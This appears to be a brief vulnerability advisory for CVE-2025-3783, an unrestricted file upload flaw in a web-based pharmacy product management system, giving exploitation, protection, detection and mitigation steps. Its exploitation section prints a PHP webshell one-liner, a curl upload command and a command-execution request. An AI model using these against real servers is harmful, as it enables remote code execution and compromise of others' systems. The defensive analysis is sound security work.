Listen to this Post
How CVE-2025-3783 Works
This critical vulnerability in SourceCodester’s Web-based Pharmacy Product Management System 1.0 allows remote attackers to upload malicious files via the `/add-product.php` endpoint. The flaw resides in improper validation of the `Avatar` parameter, enabling arbitrary file uploads without restrictions. Attackers can exploit this to upload webshells (e.g., PHP files) and gain server-side code execution. The lack of file-type checks, extension filtering, or content verification makes this exploitable over the network (AV:N) with low attack complexity (AC:L).
DailyCVE Form
Platform: SourceCodester
Version: 1.0
Vulnerability: Unrestricted Upload
Severity: Critical
Date: 04/23/2025
What Undercode Say:
Exploitation
1. Craft Malicious File:
<?php system($_GET['cmd']); ?>
2. Upload via Curl:
curl -F "[email protected]" http://target/add-product.php
3. Execute Commands:
GET /uploads/shell.php?cmd=id HTTP/1.1
Protection
1. Input Validation:
$allowed = ['jpg', 'png'];
if (!in_array(pathinfo($_FILES['Avatar']['name'], PATHINFO_EXTENSION), $allowed)) {
die("Invalid file type.");
}
2. Disable PHP Execution:
<Location /uploads> php_flag engine off </Location>
3. File Content Check:
file -b --mime-type uploads/file
Detection
1. Log Analysis:
grep "POST /add-product.php" /var/log/apache2/access.log
2. YARA Rule:
rule webshell_upload {
strings: $php = "<?php system("
condition: $php
}
Mitigation
- Patch: Apply vendor updates.
- WAF Rules: Block `.php` uploads.
- Permissions: Restrict upload directory to
644.
CVSS Breakdown
- AV:N: Network exploitable.
- VC:L/VI:L/VA:L: Impacts confidentiality, integrity, availability.
- PR:L: Requires low privileges.
References
- VulDB Entry
- NVD: CVE-2025-3783
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
